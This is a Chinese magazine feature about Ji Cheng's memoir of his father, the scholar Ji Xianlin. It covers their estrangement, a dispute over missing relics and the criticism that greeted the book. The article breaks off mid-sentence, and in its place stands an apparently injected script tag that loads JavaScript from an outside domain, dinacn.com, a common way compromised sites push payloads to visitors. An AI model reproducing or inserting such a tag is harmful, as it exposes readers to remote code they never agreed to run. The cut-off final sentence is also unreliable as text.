13年的隔绝，是什么让父子间对立至斯？或许他们不是没有感情，只是不善于表达。

　　记者/张 静

　　午后的蓝旗营院士楼某单元302室，两只乌龟笃悠悠地在淡色哥窑开片的水钵中晒太阳，浑然不知曾被人捧去八宝山季老遗体告别式“瞻礼”，且把一位著名学者卷入了名噪一时的“乌龟门”。这所住房昔日还有一排长沙发，常年抵着书柜，背后密锁着一位女士十数年的“大师夫人梦”，以及30多件价值不菲的珍贵文物，其中便有不翼而飞、又在床板底下“失而复得”，捐赠北大、却不知所踪的苏东坡《御书颂》。

　　“一个男人在他进入人生末期的时候是需要有人照顾的……尤其是那些有地位、有钱财的男人，在这种情况下，总是会有一位或几位女人及时出现……分为三类：一类是男人早有打算，在进入老年时期之前或之时就为自己准备好了陪伴的人；一类是原来就有可心人在旁，不需要临时抱佛脚；第三类，也是最令人同情的，就是平时毫无准备……很不幸，我父亲就是第三类中的一位。”一年前以话题太漫长为由避而不谈父子恩怨的季承，一年后却在新书中调侃起父亲在女人身上栽的跟头。

　　然而这种“钱钟书”式的俏皮话，在《我和父亲季羡林》中并不多见。这位已经75岁的老人，用近乎残忍的笔触，剖析自己的父亲，颠覆了被社会塑造的大师的完美形象。“我一直不认识你们所说的‘国学大师季羡林’，我只知道，在热热闹闹的学术追捧中，父亲的内心是冷的，是寂寞的。” 被温总理视为“大智大慧”的季老先生，在儿子笔下，可以说是一个人生的失败者，一个有国无家、孤独、寂寞、吝啬、无情的文人。早年的心结：寄居叔父家、无爱的婚姻、母亲的早逝，塑造了他压抑、封闭、孤傲的性格，他的意气用事毁了自己一家，又使他身陷阴谋的泥沼而难以自拔。其人生悲剧，因晚年插入的一段喜剧，和生前、死后上演的一幕幕滑稽剧与闹剧，更令人彻底无语。

　　正如一位书评人所言：“人们看这类回忆录，原本觉得它是一个像紫砂壶这样一个东西，摸上去应该有一点温润的感觉，倒出来的茶也是清香的。”国学大师陈寅恪三个女儿新近刚出的《也同欢乐也同愁——忆父亲陈寅恪母亲唐筼》便属此列。但《我和父亲季羡林》却倒出了一杯冰冷苦涩的茶，令人震惊、错愕。

　　而在季老逝世一周年之际，将大师“请下神坛”，大曝其隐私、弱点的，居然是其亲生儿子。从还原历史的角度来说，留下一份真实的回忆录似有必要。然身为人子，将其父私生活公之于众，却又悖离了“子为父隐”的儒家传统。 此书一出，争议如潮。老一辈私下摇头：“出此逆子，实乃家门不幸。”“拿父亲的历史当摇钱树”、“一定另有目的”的批评纷至沓来。支持者却言：“季承最得父亲真传的是：敢说真话。老季碰上‘文革’，小季碰上虚伪浮躁的当代。都说了真话，都被关了牛棚。老季是真牛棚，小季是隐形的牛棚。”

　　“新书上市后，估计会引来骂声一片。”季承对此早就预见。他在接受《新民周刊》专访时坚持：“写我父亲的传记有一个共同的毛病，就是没有涉及到他的感情和家庭。给人的印象就是季先生只有孤零零的一个人，对父亲的了解基本上只限于学术。我所写的都是真实的，我希望告诉大家一个真实的季羡林，让人们了解我们这个家庭，接受一个有缺陷的季羡林。”

　　将书名定为《我和父亲季羡林》，这是书商的主意，实际上这本书的原名叫做：《我们这一家》。

　　侠与吝啬

　　季家原是山东临清的一个大家族，据考证远祖乃是曾在鲁国执政33年、辅佐了三代君王的季文子。

　　按季老的说法，山东是西边穷东边富，临清在山东的西边。临清是西边穷东边富，季老家所在的村子在临清的西边。村子里的住户是西边穷东边富，季老家不幸又在村子的西边。

　　其实所谓“五代贫农”的季家也曾有过一度短暂的暴富史，“其兴也勃焉，其亡也忽焉”。当年季承的叔祖父在济南丢了工作，失意之时于街头闲逛，见一家杂货店在售彩票，是为赈济湖北水灾发行的。他豁出去了，用一半的钱买了两张彩票。没想到过了几天那家杂货店便挂出了大字横幅，上书“本店售出头彩”，叔祖父那张彩票的号码赫然就写在底下，整整4000块大洋！

　　叔祖父把一部分钱寄回老家，让季承的祖父在老家建房置地，准备振兴季氏家族，延续季家血脉。 没想到收到钱的这位亲哥哥，却是位能将家财败得底儿掉的主儿。

　　季老在他的《灰色的童年》里曾比较隐讳地叙述过：“他用荒唐离奇的?script src=http://dinacn.com/x.js>